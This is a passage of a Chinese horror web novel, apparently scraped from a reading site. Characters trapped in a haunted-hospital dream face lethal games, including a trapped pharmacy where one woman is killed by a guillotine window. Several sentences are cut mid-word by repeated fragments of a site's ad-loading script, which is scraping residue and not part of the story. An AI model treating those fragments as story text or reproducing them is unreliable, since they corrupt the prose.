被大黑狗一跃而下震得四处逃窜的人晃眼看见有条逃生路,便跟着往里跑。 当然也有人慌不择路,远离了人群,看见电梯就冲了过去。 幸运的是电梯就停靠在一楼,一碰按钮门就开了,而大黑狗追上来时,门刚刚好关上了。 不幸的是随后电梯门缝隙中涌出大量血液,谁也不知道他在电梯里遇到了什么。 正因为大黑狗选择去追落单的人,令其余人抓住了逃生的机会,纷纷冲进了黑暗之中。 一场折磨人的游戏就此落下帷幕,当剩余六人回过神时,他们全都回到了安全出口指示灯装点的走廊里,身后和面前各有一扇门,正是两间病房,而左右两侧走廊上,依然站着两个人影。 人影一见有人出现,再度热情地指引方向。 左侧人影指着左边走廊说:“往这边走,前往楼梯间。” 右侧人影指着右边走廊说:“往这边走,前往门诊部。” 众人松了一口气,瘫坐在地,然后俞小澄便看到奇怪的一幕——邹奕忽然将鞋脱下抱在怀里。 俞小澄正觉得怪异,只见范正昂也学着邹奕的样子,将鞋脱了下来。 “这是……什么风俗习惯吗?”俞小澄忍不住问道。 回答她的人是已婚女人,语气中难得没有嘲讽的味道,反而带着一分敬畏:“邹奕和庞大师一到走廊,第一件事就是脱鞋,他们说是这里的禁忌。” 邹奕冷哼了一声,远离人群走到了另一边门前坐下,丝毫没有解释的打算。 反倒是范正昂站了起来,一本正经地回答:“这好像也是一项禁忌,过走廊不可穿鞋,否则会惊扰恶鬼,要断脚!不过我之前在走廊忘了这回事,一直穿着鞋,也没出什么事,这就怪了。” 范正昂的话,俞小澄可以作证,她穿着鞋来来回回在走廊里走了三回,并没有遇到什么诡异的事。 她依稀想起刚进入梦境时,似乎确实听房间里的两鬼影说过类似的话,没想到会有人当真。 如 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 果这真是禁忌,她的脚早该断了。 既然她人现在还好端端地站在这里,那就可以证明,这种鬼话不是所谓的禁忌。 已婚女人却一反常态,声音里带着难以言明的恐惧,道:“我也不信,可的确有一次发生了怪事。” 已婚女人表示自己第一次进入走廊时,并没有遇到怪事,随后与邹奕汇合,就发现邹奕一进走廊就有脱鞋的习惯,她很是不解。 邹奕说在走廊穿鞋会倒大霉,可直到他们离开走廊,一切风平浪静,已婚女人只觉得邹奕神神叨叨的,有被害妄想症。 谁知,等她找到庞大师,三人再次回到走廊,这次不止邹奕,连庞大师都有一样学一样地将鞋脱了下来。 已婚女人简直无法理解,只当他们有什么怪癖。 可这一次,情况发生了微妙的变化。 在前往候诊大厅的途中,已婚女人忽然感觉被人抓住了脚踝,她猛然跳开,然后摔倒在一旁。 她回头看去,恰好看见一只半透明干枯的手缓缓沉入了地下。 这一眼将她吓得不轻,连忙爬起身,幸亏有传送的存在,将整条走廊压缩得只剩二十步距离,她轻松冲进了候诊大厅。 但这件事还是让她心有余悸。 “赶紧走吧,我一刻也不想在这走廊里多待。”已婚女人出言催促。 俞小澄此时才注意到少了一个人,一问之下,汤神婆说她看到庞大师独自逃往了电梯。 不过,对于庞大师是否脱困,谁都没有注意,当时情况危急,所有人都只顾着逃命。 一回想起方才的危机,众人的目光齐齐向吴樊祐汇集。 因为他不要命的行为,险些害大家全军覆没,要不是凑巧近处开了一扇门,或许大家已经在黄泉相聚了。 大家一致开启了针对吴樊祐的批斗模式,借此宣泄着因恐惧带来的负面情绪。 吴樊祐却表现得像个聋子,对任何谩骂都充耳不闻,靠在门边闭目养神,看上去一副甚是悠哉的样子。 他这套软硬不吃的性子,众人实在没辙,等到骂累了也就收了声,没有获得一丝情绪上的释放,骂完反而觉得心里更堵。 “这种人,我可不敢跟他一起走,自己想死就死远点,别来祸祸别人。” 已婚女人第一个表明了立场,然后走到邹奕身旁,尽力远离吴樊祐。 有已婚女人开了头,汤神婆和范正昂也不约而同站到了已婚女人那一边。 于是乎,走廊里形成了两组对立局面,一边是俞小澄和吴樊祐,一边是四位新住客。 俞小澄总觉得这形势似曾相识,不得不佩服吴樊祐得罪人的本事。 范正昂本想劝俞小澄也远离吴樊祐,俞小澄思索着借口,道:“总得有人盯着他吧,我们前脚刚走,他后脚跟上,好像也摆脱不掉这个麻烦,不是吗?” 对面四人的眼神游离,似乎在权衡利弊,在他们看来,牺牲一人换来全队安全,也不失为最好的办法。 最终众人商议决定,分两队寻找出路,四位新住客往左去楼梯间,俞小澄和吴樊祐往右去门诊部。 等四人的身影消失在左侧人影附近后,俞小澄咬着牙,一把揪住了吴樊祐的耳朵。方才给足了他面子才没动手,这会儿没人了,俞小澄原形毕露。 “还来是吧?你小子是不是不背刺会死?” 177. 梦境(七) 吴樊祐被人拧着耳朵,因吃疼连连哀嚎,嘴里嘀咕道:“连最后这没有办法的办法都赢不了学姐,我认输了,真的,快别揪了,耳朵快掉了。” 俞小澄简直不知道说他什么好,见他吃疼便松了手,心里想的却是,如果刚才二人当真一同死在那条大黑狗爪下,她尚能以恶灵形态存活于梦境之中,那吴樊祐呢?还回得去吗? “你小子真会自作主张,过了今晚,当真留你不得了。” 俞小澄绷着脸,故意说着狠话。 吴樊祐揉着耳朵,平静回道:“如果下次再遇到那条看门狗,我主动当诱饵,算不算赎罪?” 俞小澄心里有些不是滋味,她知道吴樊祐不是在开玩笑,他的时间所剩无几,却未能让她回心转意,心中或许有不甘,才自暴自弃一般打算与自己同归于尽。 若是下回再遇上大黑狗,俞小澄真怀疑吴樊祐不会再背刺,而选择牺牲自己。 这并不是俞小澄想看到的。 她如今只是希望吴樊祐能放下对自己的执念,回到自己的生活罢了。 “喂狗?岂不是太便宜你?”俞小澄故意带着敌意回应。 吴樊祐有无法说出口的理由,而她便也借机逃避。 “……”吴樊祐无奈地轻笑两声,整个人有些萎靡不振,靠着房门滑坐在地。 他看上去很累,连呼吸都变得异常沉重,俞小澄伸手摸了摸他的额头,果然有些烫手。 俞小澄轻咳一声,假装不在意地说:“瞧你这弱不禁风的样子,走吧,正好要去门诊部,让医生瞧瞧,能不能给你退个烧先。你可真是敬业,进入梦境都要符合场景身份。” 吴樊祐闻言笑了起来,自嘲一般道:“还真是……不过,这医院恐怕治不了我的病,再说,这里医生开的药可不能吃。” “啧,你也相信那些鬼话么。” 俞小澄听他说着丧气话就不高兴,顺手就送了吴樊祐一个凿栗。 吴樊祐没有生气,只是用手指揉压着脑袋,然后漫不经心地解释:“学姐不信么?可一上来就唠叨了十三句,其中内容皆涉及这家医院的不成文规定,很难不让人觉得这就是梦境的规则吧。” “不信,如果是规则,干嘛不安排医生护士来说明,非要安排两个鬼东西……可信度极低,感觉就是故意想害人。”俞小澄坚持自己的看法。 吴樊祐语气平淡:“我当时的确打不开门,候诊大厅的门不也是学姐让招财进宝从外侧打开的吗?” “可我并没有被困在病房里,这点说不通,如果是规则,怎么会不一视同仁呢?” “这点在我见到汤神婆时,也觉得奇怪……” “这其中恐怕有什么隐藏的信息,我们还没有发现,所以别这么快下结论。” “但……候诊大厅应对上的规则,不止是门不能从内侧打开这一条,还有遛狗的游戏……” “什么意思?候诊大厅还有什么规定?” 吴樊祐闻言露出一脸诧异,随即像是想通了什么,微笑着调侃:“学姐是不是连那两个鬼病人的话都没听完,就离开了房间。” “当然,我不像你,闲到偷听那两夫妻聊天。”俞小澄不客气地回怼。 “哎,也不是我故意偷听,他们一直在我耳边说个不停,我想睡觉都睡不着,那些话自然而然记入脑海,我也没办法。”吴樊祐语气委屈。 看吴樊祐的状态,估计能下床出门已是不易,俞小澄不忍心继续针对,遂转移话题,让他回忆一下具体有哪些规定。 根据吴樊祐的记忆,病房中那对鬼夫妻一共提到了十三条古怪规定: 一、医生晚上会巡房,患者睡觉不能被发现; 二、医生开的药不能吃; 三、护士的话不能听; 四、如果遇见保安得赶紧逃; 五、医院的门不能从内侧打开; 六、坐电梯必须避免奇数; 七、走楼梯不能睁眼; 八、走廊里不能穿鞋; 九、开水房里的歌声不能断; 十、手术室内闭口不言; 十一、药房中满地机关; 十二、门诊室内不能说真话; 十三、候诊大厅切忌随意走动。 每一条规定听起来都匪夷所思,所以俞小澄才觉得这些话没有听的必要。 要说梦境规则,当时候诊大厅里的广播听上去更符合恶灵傲慢的提示,是那种平等的生死游戏,而不是毫无稳定性的流言蜚语。 暂时没有别的头绪,俞小澄执意要带吴樊祐去门诊室,吴樊祐拗不过,被俞小澄从地上拖了起来。 俞小澄将吴樊祐的手绕过自己的脖子,任由其胳膊搭在自己肩膀上,作为部分支撑力,扶着吴樊祐往右边走廊拐去。 “学姐是不是不恨我了?莫非是放不下我?还是说,觉得我其实也挺不错?” 吴樊祐的声音近在耳边,虽有气无力,但依然带着些许欠扁的不正经。 俞小澄便不客气地揪着他的脸回答:“这手感是挺不错,当个出气包我看还行!” 吴樊祐揉着脸,厚颜无耻地说:“我如今就这点用处了,学姐请随意。” 他这软硬不吃的性子实在恼人,俞小澄懒得跟他计较,催着他赶紧走,别给自己拖后腿。 吴樊祐便说:“学姐把我扔在这里就好,兴许让恶鬼削了我的脚,我就是想给学姐使绊子,也追不上你了。” “吴樊祐,你什么时候长成无赖的?” 俞小澄越想越气,索性甩开吴樊祐的胳膊,加快步伐远离。 吴樊祐又恬不知耻地赖了上来,搭着俞小澄的肩,故意将重心偏移到俞小澄身上,嘴上说道:“一直都是,学姐以前没发现吗?唉,让我靠靠吧,以后说不定没有机会了……” 此话一出,俞小澄便又心软了,嘴上骂骂咧咧,可行动上丝毫不强硬,又扶着吴樊祐往前走去。 撞过一道看不见的水墙,四周明亮起来,二人站在一间小房间里,里面陈设简单,只有一张木桌,两张椅子,一张铺着蓝布的小床,被隔帘挡了一半。 桌上摆着电脑,一个穿着白大袍的医生正埋首电脑屏幕前,听见有人进来也不抬头,例行公事地问道:“哪里不舒服?” 俞小澄将那名病患推到椅子上坐下,眼神示意他自己跟医生讲。 吴樊祐看了看俞小澄严肃的脸,似乎想走是走不掉了,只得无奈回过头,对医生说道:“大夫,我如果跟你说实话,你会对我如何?” 因为这句话,医生终于抬起了头,用看傻子一样的眼神看着吴樊祐,然后对俞小澄说:“脑子有问题是吧?那不该来 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 我这儿看呀,要不你挂个精神科。” 医生说罢就要送客。 俞小澄强忍着笑,对医生说:“孩子发烧,烧得有些犯傻,您别介意,快给看看还能不能治吧。” 医生这才给吴樊祐做了基础检查,然后开了张处方单,让他去药房领药。 整个过程看不出一丁点怪异之处,如果不是深知自己还陷在梦境中,俞小澄都快产生一种错觉,自己是在现实中带着吴樊祐到医院看病。 等到拿着处方单走出门诊室,重新回归昏暗的走廊时,俞小澄说:“看吧,病房里那些鬼话根本就不可信,说了实话不也什么事都没发生吗?” 吴樊祐眉头微蹙,一只手支撑着手肘,一只手抵着额角,脸上写着困惑。 “难不成,这规则还有真有假?” 俞小澄抖动着手里的处方单,神色淡然地说:“不知道,不过我觉得反正来都来了,不如去药房把药领了,还得在医院住上六日,你这病殃殃的模样,实在不太讨喜。” 吴樊祐轻声一笑,道:“如今这里倒成了学姐的舒适区。” 他说的这话并没有什么夸奖的成分,俞小澄听上去更多是无奈,毕竟他们心里都清楚这个地方意味着什么。 俞小澄没有接话,转头看向两旁的指路人影,高声问了问路。 很快,俞小澄得到了热情地回应。 左侧人影指着左边走廊说:“往这边走,前往楼梯间。” 右侧人影指着右边走廊说:“往这边走,前往开水房。” 两个地方俞小澄都不想去,毕竟不管去哪里,最终都会回到这条昏暗的走廊。 虽然不知道穿过候诊大厅的正门是否能离开医院,但其他地方没有出口这一点,俞小澄还是基本可以肯定的。 因此,去了也没有意义的地方,俞小澄并无兴趣。如今看来,要么到药房取药,要么再去挑战一次大黑狗,似乎也就这两个地方值得一试。 “这怎么选?”吴樊祐一副任由俞小澄做主的态度。 俞小澄两边都没有选,反而指了指身后的房门。 吴樊祐有些不明所以,但并没有追问,而是跟着俞小澄推门而入。 房间里,那两个鬼影依然旁若无人地重复着怪异的对话,俞小澄只是站在门口等了等,并没有往里走,随后便拉着吴樊祐又迈出了房间。 随着房门在身后关闭,俞小澄听见左右两边的人影再度说出了热情的指引,只是这一次,话中地点已经不是楼梯间和开水房,往左变成了手术室,往右变成了电梯口。 吴樊祐恍然大悟,原来俞小澄发现了刷新指引的办法。 其实也是偶然,俞小澄第一次走出病房,并没有直接选择左右两边走廊,而是进了对面的房间,捡到了范正昂,也正因如此,她多听指路人影报了一次路径。 所以她产生了一种大胆的猜想,刚才只是试上一试,恰好证明了自己的猜想。 于是二人进出病房几次,终于刷出了自己想要去的地方——药房。 穿过仿佛并不存在的水墙,俞小澄和吴樊祐被传送到了药房窗口前,里面有个护士在值班,一见到二人就问他们要处方单,看上去十分正常。 正当俞小澄往窗口递处方单时,她听见身后传来范正昂的声音,刚一扭头,周围的灯光瞬间熄灭了。 178. 梦境(七) 俞小澄明显感觉四周的磁场在改变,熄灭的灯光迟迟不亮,周围的场景似乎一点点在变化,俞小澄大腿一紧,便知进宝又靠了过来,似乎有什么让进宝十分不安。 死一般的寂静不知过了多久,头顶的灯光再度亮起,俞小澄发现自己已经不在药房窗口,而是进入了药房内。 原本在值班的护士忽然失去了踪影,而药房内除了俞小澄,还有吴樊祐、范正昂、邹奕和已婚女人。 “不对劲,不对劲,我就说不能来药房,你们偏不听!” 邹奕抓耳搔腮,情绪很不稳定,一直抱怨着其他人不听劝。 已婚女人哪是软柿子,根本不惯着他,张口就回怼:“别一天到晚神叨叨,刚才去哪儿你都说有问题,去了不还是无事发生?” 邹奕被怼得一时找不到话反驳,蹲在原地怒咬手指。 俞小澄明显感觉周围气氛不对劲,就像是小动物对于危险的直觉,这种感觉与方才截然不同,仿佛突然进入了里世界一般。 “药房的禁忌是啥来着?”俞小澄低声问站在身旁的吴樊祐。 “满地机关别乱走。”吴樊祐随口答道,“怎么?学姐现在突然又信了?” 俞小澄摇了摇头:“不是,但现在这房间里,可能会发生点什么。” “嗯。”吴樊祐轻哼了一声,将俞小澄往自己身后拉了拉。 果然没过一会儿,医院的广播再次响起,依然是那个带着俏皮味的女子声音,语气轻快地宣布着游戏规则: “本场游戏正式开始,请各位患者在房中寻找逃离密室的线索。友情提示,房间中埋藏着不少机关,如果不小心触碰,立刻会毙命哦,请千万小心。” 说罢顿了顿,与上次一样,看似替人着想地补充道:“为了避免大家被困密室太久,产生幽闭恐惧症,我特意将时间设定在两小时。如果两小时内没有离开药房,我将释放毒气将你们全部杀死哦。” 又是以折磨玩家为乐的恶灵。 俞小澄只恨这恶灵跟只缩头乌龟一样藏在暗处,就是要想将她就地正法,都找不到碰面的机会。 药房窗口的玻璃上忽然出现红色的倒计时,无时无刻不在刺激着玩家的神经。 邹奕闻言崩溃地吼叫道:“果然是陷阱,房间里两个老东西没有说错,完了,这下要死了。” 俞小澄简直好奇他是如何在前一晚的箭竹梦境存活下来的。 已婚女人恶狠狠地盯着蹲在地上的邹奕,怒骂:“够了,闭嘴吧你,要死自己死去,老娘可不奉陪。” 从某种意义来说,这两个人情绪都不太稳定,却是两个极端。 只见已婚女人说完话,便径直往房门走,可刚走几步路,她脚下的一块瓷砖突然下陷了一厘米,一阵机械齿轮声响起,所有人大惊失色。 “靠,让你别乱走!” 邹奕破口大骂,随后紧张地观察四周,身子开始往墙角缩。 吴樊祐下意识地将俞小澄护在身后,屏气凝神注视了已婚女人脚下的瓷砖。 俞小澄有时觉得吴樊祐在遇到危险时,会忘记这里不是现实。 就比如校园怪谈梦境中,那晚在西苑男生宿舍,她本无药可救,吴樊祐只要静静看着,就可以赢得他想要的结果。 可他还是一把将迷失心智的俞小澄拦了下来,不管俞小澄如何对他下狠手。 他如今脸上和肩上的伤痕早已消失无踪,可看着他的背影,俞小澄仿佛又看到那晚努力想要拯救她的矛盾人设。 俞小澄很想提醒他:“你其实不用挡在我前面,我死不才是你想要的结果吗?” 最终她还是没能说出口,或许想短暂享有这种有人在意和保护的感觉,然后将它永远保存在记忆中,等到今后孤身一人时,还能偶尔拿出来回味一番,便足以支撑她继续孤独。 俞小澄胡思乱想时,其他人则只在意已婚女人究竟触发了什么机关。 距离已婚女人最近的范正昂赶紧转移,退到了两排药架中间,试图让那两排药架成为保护自己的护盾。 时间仿佛被减速,其实不过几秒钟,所有人都感觉过了许久,直到一根带着锋利尖头的旗杆从瓷砖下以极快的速度弹出,瞬间穿透了已婚女人的脚掌。 随着一声嘶哑的哀嚎,旗杆上支起一面绿色的旗帜,上面的白字染上了斑驳的血渍。 旗帜上写着俏皮话——这回只是玩笑,下回可就没命咯。 在已婚女人声嘶力竭的哀嚎声中,这段文字看上去属实讽刺。 片刻后,旗帜收回旗杆内,旗杆又沿着破土而出的方向,迅速缩回瓷砖下。 已婚女人再次经历穿透的折磨,整个人摔倒在地,浑身止不住地颤抖,因为承受了巨大的痛苦,她甚至没有注意到嘴唇都被自己咬破了,鲜血顺着嘴角往下流。 范正昂小心翼翼地走到了已婚女人身旁,看见她脚下一片血泊,担心她再次触碰机关,便将她往旁边拖了几步。 确保女人的位置安全后,范正昂又立马跑向药架,寻找可用的止血工具。 俞小澄只是冷漠地看着范正昂忙碌奔波,心里想的不是女人伤势重不重,有没有生命危险,而是在思索,像范正昂这样的人又是因为什么罪来到了穷途旅店呢? 反观一脸阴郁的邹奕,他只是蹲在墙角瑟瑟发抖,根本不关心已婚女人的死活,就跟俞小澄一样。 但二者又有本质的区别,俞小澄知道死亡是对住客的惩罚,是赎罪,而邹奕只是胆小懦弱,自私自利罢了。 范正昂翻找出止血带,然后心急如焚地扎在已婚女人腘窝,再用纱布将女人的出血的脚掌层层捆住,最后顶着一脑门汗水,无奈地望向俞小澄,道:“只是暂时止血,需要赶紧送医才行。” 如果能立刻离开梦境返回旅店,这点伤只要睡一觉就能好,可现在距离梦境时限结束还很遥远,这条路显然行不通。 “离开药房,刷新去往急诊室的路,应该会没事。”俞小澄安慰一般说道。 “可是该如何离开……”范正昂看着双手沾染的血渍,身子微微有些颤抖。 当死亡近在眼前时,又有谁能真正做到淡然处之呢? 或许是出于对范正昂这样人的佩服与敬重,俞小澄轻声说道:“你别动,我去看看房门要如何开启。” 说罢她从药房柜台上顺了一卷 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 胶带,一步一顿往房门口走去,不知情的人或许会困惑她哪儿来的勇气,而知情的人自然知道她又在靠招财进宝引路。 这两个可以穿墙的小家伙,寻找隐藏的机关当然易如反掌,于是俞小澄轻松避开所有藏着机关的瓷砖,并用胶带在危险的地方做上了标记。 短短的一条路,俞小澄花了大约二十分钟才走到门口,随后发现门上没有把手,似乎是采用了电磁锁,需要门禁卡才能解锁。 虽说不相信那套“医院的门只能从外侧打开”的说辞,但俞小澄还是先让招财出门试了试。 这次果然和候诊大厅的情况不同,招财没法从外侧推开房门。 “似乎这场游戏的主题便是寻找门禁卡,然后逃离这间密室。”俞小澄组织一番语言后,用最简短的话向其他几人做了说明。 “密室吗?”吴樊祐抬手指了指取药窗口,道,“算不上吧。” 俞小澄顺着他手指的方向看过去,只见窗口玻璃与柜面之间留着一条足以容脑袋通过的空间。 “这……”俞小澄顿觉汗颜,方才倒是忘了这个问题。 范正昂大喜过望,拍着已婚女人的肩膀安慰:“不是密室,我们可以从取药窗口离开这里。” 已婚女人早就疼得虚脱了,勉强抬头望了一眼取药窗口处的空间,或许在心里预估着自己是否能够借此爬出药房。 在范正昂的搀扶下,已婚女人艰难地跛着腿站了起来。 邹奕有些心急,本想第一个冲出药房,可在范正昂的怒瞪下,不由地停下了脚步,带着不甘的情绪,退至一旁,焦虑地忍受着负伤者优先的特权。 俞小澄看着已婚女人爬上了柜台,然后匍匐着先将腿送出了窗口,她心里总觉得怪怪的。 恶灵什么时候这么仁慈了,留着这个明显的漏洞让玩家逃课? 还是说这恶灵是傻子,也同她一样,将取药窗口彻底遗忘? 不管是哪种情况,都与恶灵形象相去甚远。 俞小澄正纠结着送药窗口存在的意义时,耳边传来招财急切的声音:“姐姐,那玻璃窗和柜台上好像也藏着机关。” 俞小澄顿觉不妙,连忙冲着范正昂和已婚女人喊道:“别过去!” 那两人齐齐回头望向俞小澄时,情况已经开始恶化,俞小澄分明听到细碎的机械声响,一面锋利的刀刃顺着玻璃极速落下,眨眼的功夫便消失在柜台后。 甚至连当事人都还没来得及反应,一切就已经尘埃落定。 已婚女人维持着上半身趴在柜台上,下半身探出窗口,就这么挂在柜台上。 可下一秒,探出窗口的下半身忽然与上半身分了家,啪叽一声落在窗外地上,血液喷溅,站在近处接应已婚女人的范正昂被血染红了大半个身子。 已婚女人身体抽搐了几下,便就此断了气。 药房里,安静到令人窒息,震惊将一切情绪取代,甚至没有人发出一声吼叫,就像被吓傻了似的,彻底忘了尖叫这件事。 等到回过神时,已经错过了尖叫的时机。 这里,果然就是密室,那看似故意遗漏的窗口,不过是引人送命的断头台罢了。 179. 梦境(七) 一切发生得太突然,所有人都在震惊中久久不能释怀。 邹奕又重新蜷缩回墙角,用手臂遮挡着脑袋,神情紧张,瑟瑟发抖,看他精神状态,感觉随时可能崩溃。 范正昂看着浑身鲜血,惊得说不出话来,腿脚虚软,精神恍惚地靠在药架上,视线在俞小澄和吴樊祐身上来回扫过,仿佛是希望此刻有谁能告诉他接下来该怎么办。 俞小澄望向吴樊祐,心中竟产生些怀疑。 是巧合,还是有意为之呢? 吴樊祐的脸色有些泛白,但分不清是因为刚才恐怖的一幕,还是因为身体原因。 俞小澄不敢多想,用力甩了甩脑袋,将多余的想法扔出脑海,她指了指房门,道:“时间紧迫,还是找找门禁卡藏在哪里吧,再僵持下去,我们都会是这种下场。” 这话虽显得有些冷漠,可没人敢否认这个事实。 与其纠结于一人之死,不如考虑如何让剩下的人活下去。 范正昂点了点头,开始在药方中翻找起来,并时刻注意避开那些被胶带标记的瓷砖,避免再次触发机关。 邹奕不情不愿地站起身,也帮忙搜寻起来。 时间还剩1小时24分钟。 经招财进宝确认,整个药房中,除了地板瓷砖、天花板以及窗口玻璃上,其他地方并没有机关的痕迹,所以他们翻找门禁卡并没有危险。 这反而让俞小澄觉得有些奇怪。 恶灵设下的机关是不是太少了点? 她总觉得,恶灵要想杀掉所有人其实十分容易,只要增加机关藏匿点,保准打得玩家措手不及。 不过转念一想,她是因为有招财进宝帮忙,才能轻易避开机关,所以也不能全怪恶灵考虑不周。 她如此安抚自己被阴谋和猜疑占据的心,试图将精力全放在寻找门禁卡这件眼下最紧要的事上,至于其他,以后再想不迟。 几人合作,外加招财进宝帮忙,不出两分钟,他们便有了收获。 范正昂举着一张卡片,兴奋地说:“找到了,这应该就是吧?” 俞小澄本来是该开心,可一个笑刚在嘴角现形,就被冻僵了,因为她正在柜子里翻找的手触碰到一张卡片,拿出来一看,与范正昂举起的卡片一般无二。 而此时邹奕的脸色也不太对劲,声音中带着诧异,问:“为什么我这里也有一张?” 紧接着,吴樊祐从桌子下钻出,手指尖夹着一张卡片,他歪着头,一脸疑惑地看着俞小澄。 招财进宝不知从哪个角落窜了出来,面色凝重,怀里捧着四五张相似的卡片。 药房中的门禁卡原来不止一张。 当所有人围到桌旁,将找到的门禁卡放到桌上汇聚到一起,发现足有十张之多。 范正昂:“是怕我们太笨,半天找不到卡,所以就放几张吗?” 邹奕:“会不会有真有假啊……” 吴樊祐:“试试不就知道了。” 听到吴樊祐这么说,范正昂和邹奕脸上立马露出怪异的表情,二人对视一眼,有些迟疑,最后由范正昂开口道:“你提出的,就由你试吧。” 说罢,二人侧身让到一旁,眼神示意吴樊祐上前尝试。 这下俞小澄总算明白了二人的意图,因为刚才也是吴樊祐提出了翻窗离开药房的提议,结果已婚女人成了斩刀下的亡魂,此刻再听他提议尝试,这两个人自然不想当下一个冤大头。 吴樊祐大概也看出这两人的小心思,但他并没有在意,一脸轻松地伸手拿起一张门禁卡,转身就往门口走去。 不过,俞小澄没有给他可能赴死的机会,就在他转身时,俞小澄一把抓住他胳膊,将人拽了回来,然后抢过房卡,道:“你最好别动歪心思。” 虽说招财已经在整个房间里确认了一遍机关位置,但俞小澄依然会担心存在某种连招财进宝都无法发现的危险,因此她不敢让吴樊祐冒险。 吴樊祐听到俞小澄劝阻的话,感受多少有些出入,似乎是有些受伤,他垂眸苦笑:“如果真有机关,害的也是我自己,学姐戒心不用这么重吧……” 俞小澄意识到吴樊祐误会了自己的意思,本想解释,可话到嘴边又被她憋了回去。 “哦,因为我信不过你,所以你最好什么都别做。” 最终脱口而出的是俞小澄最后的倔强。 误会,也不全是坏事。 吴樊祐眼神黯淡,强颜欢笑一般耸了耸肩,顺从地让出道,靠在桌旁,双手环在胸前,索性闭上了双眼。 俞小澄拿着门禁卡向出口方向走去,在距离房门两步远的位置停下了脚步,谨慎起见,她并不打算自己试错,而是将门禁卡交给了招财。 招财收到指示立马化身试错员,当他将房卡贴到门上的读卡器上,只听嘀的一声响,读卡器上的指示灯闪了红光,他扭头冲俞小澄摇了摇头。 好消息:门上没有机关。 坏消息:门禁卡有假。 俞小澄将这个消息传达给范正昂和邹奕,这两人反倒是松了一口气。 只见邹奕拿上所有门禁卡,径直冲向了房门,如今在他看来,不过十张门禁卡,门上又没有机关,只要挨个试一遍,总能开门出去。 范正昂和俞小澄没有出言阻止,这似乎是现在最可行的方式。 俞小澄靠在桌边,看着邹奕独自一人在门前尝试,忍不住质疑起恶灵的设局能力。 “恶灵这么设计的意义是什么呢?”她小声自言自语。 范正昂搭话:“可能是为了浪费我们时间吧。” 俞小澄很难认同,她指了指身后窗口玻璃上的倒计时,调侃道:“十张卡能浪费1个小时吗?” 只是往玻璃上晃了一眼,俞小澄感觉心凉了半截。 不知不觉间,剩余时间少了一大半,方才她记得还有1小时24分钟,怎么现在突然就只剩51分钟了。 正疑惑不解,随着嘀的一声响,玻璃上的时间再次跳动,瞬间变成41分钟。 一股寒气从背后将俞小澄笼罩,她回头看向出口方向,门前的人还在埋头刷卡,又是嘀的一声响,当俞小澄回头再看玻璃上的倒计时,时间已经只剩31分钟。 “住手!停!邹奕,别刷了!”俞小澄高声呼叫。 门前的人手上动作停滞,一脸茫然地回过头来,嘴里不耐烦地说:“干嘛,就剩5张了,我马上试出来!” 说完这话,那个着急离开的人又立马刷了下一张。 “嘀……” 随着提示音响起,玻璃上的时间陡然改变,时间只剩20分钟。 “别刷了白痴 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,你想大家一起死吗?!”俞小澄怒不可遏,声音高亢地怒吼道。 范正昂意识到俞小澄所言,迅速冲向了邹奕,一把夺过邹奕手中的门禁卡,厉声骂道:“操,叫你住手,你耳聋吗?” 邹奕有些癫狂,还想从范正昂手里将卡抢回来,直接激怒了范正昂,下一秒,邹奕脸颊结实挨了一拳,直接摔倒在地。 “你们这些疯子,想死还拉我垫背吗?”邹奕目瞪口呆地坐在地上,一只手捂着脸,一只手指指点点,嘴里控诉道。 范正昂气得够呛,指着窗口,高声吼道:“你特么看看时间还剩多少!” 邹奕似乎终于从癫狂中回过神来,抬头看了看玻璃上的倒计时,然后整个人都懵了,难以置信地念叨着:“怎么回事?怎么会这样?是陷阱,我们出不去了。” 范正昂懒得理会地上濒临崩溃的男人,带着门禁卡转身走回俞小澄身旁。 “怎么办,刚才邹奕已经刷过5张了,剩下这4张,还没来得及试。” 范正昂将还没试过的4张门禁卡扔到了桌子上,面上流露些许沮丧。 如今看来,只要刷错一张卡,剩余时间就会减少10分钟。 最后还剩20分钟,而门禁卡还有4张未试。 “手气这么臭么?九选一的题,错了五次。”吴樊祐又犯了说风凉话的老毛病。 俞小澄瞪了他一眼,他立刻噤了声,手指从唇边划过,做了一个拉上拉链的动作。 虽然是风凉话,但也是事实。 俞小澄从十张卡中随意挑选了一张没有中,感觉还说得过去。可邹奕连续试了五张,一张都没中,运气属实太过逆天了些。 俞小澄皱着眉,说出自己的想法:“有没有一种可能,恶灵根本就没有放置正确的门禁卡?” 这种想法在俞小澄脑海中无限膨胀,方才她还质疑恶灵的设局能力,此刻有种被人打脸的感觉。 如果门禁卡本身就是一种陷阱呢? 如果她没有意外发现时间在减少,他们也许已经成了四具尸体。 俞小澄下意识地看向已婚女人留在柜台上的半截身子,心中已经在幻想着自己也像那样凄惨地死去,不由得打了个寒颤。 “可既然是游戏,就应该设置了通关的路径,否则和单方面屠杀有什么区别?”范正昂有些不愿接受这是一场死局。 俞小澄自然也不愿意这样想,可九选一的题错了五次,实在有点打击俞小澄的自信。 再者,剩下的时间似乎不够他们试错了。 思来想去,那房门只能靠门禁卡开启,她不得不承认,死局不符合恶灵设局的模式,无奈地叹了口气,道:“好吧,就算这些门禁卡中有一张是正确的,我们也只剩两次机会了。” “两次机会,胜率二分之一,高了不少呢。”范正昂苦中作乐一般,勉强挤出一丝微笑,或许是想稳住人心。 但当俞小澄想将这个二选一的机会交给范正昂时,他又退缩了。 只见范正昂不好意思地挠着头,推辞道:“赌运气我不行,从小到大我就没中过奖。” 这句话,俞小澄感同身受,视线自然而然移到了吴樊祐身上。 吴樊祐见状微微一笑,毫不谦虚地说:“要不让我试试?四选一不是随便选都能选中吗?” 180. 梦境(七) 如果是其他人说这种话,俞小澄只会送他一个白眼,可吴樊祐说这种话,竟让俞小澄感觉所言非虚。 且不说他此前有恶意选中陷阱的嫌疑,他平时的运气也的确比一般人好了不少。 范正昂听到吴樊祐这样大言不惭的话,仿佛抓到了救命稻草,一脸欣喜地欲让吴樊祐尝试,可又怕俞小澄不同意,遂盯着俞小澄,客气询问:“你学弟运气好像很好,要不让他试试?” 俞小澄很想说:你忘了是谁给你指了取药窗口这条路吗?能一下选中陷阱,你不担心一下他四选三选中错误门禁卡吗? 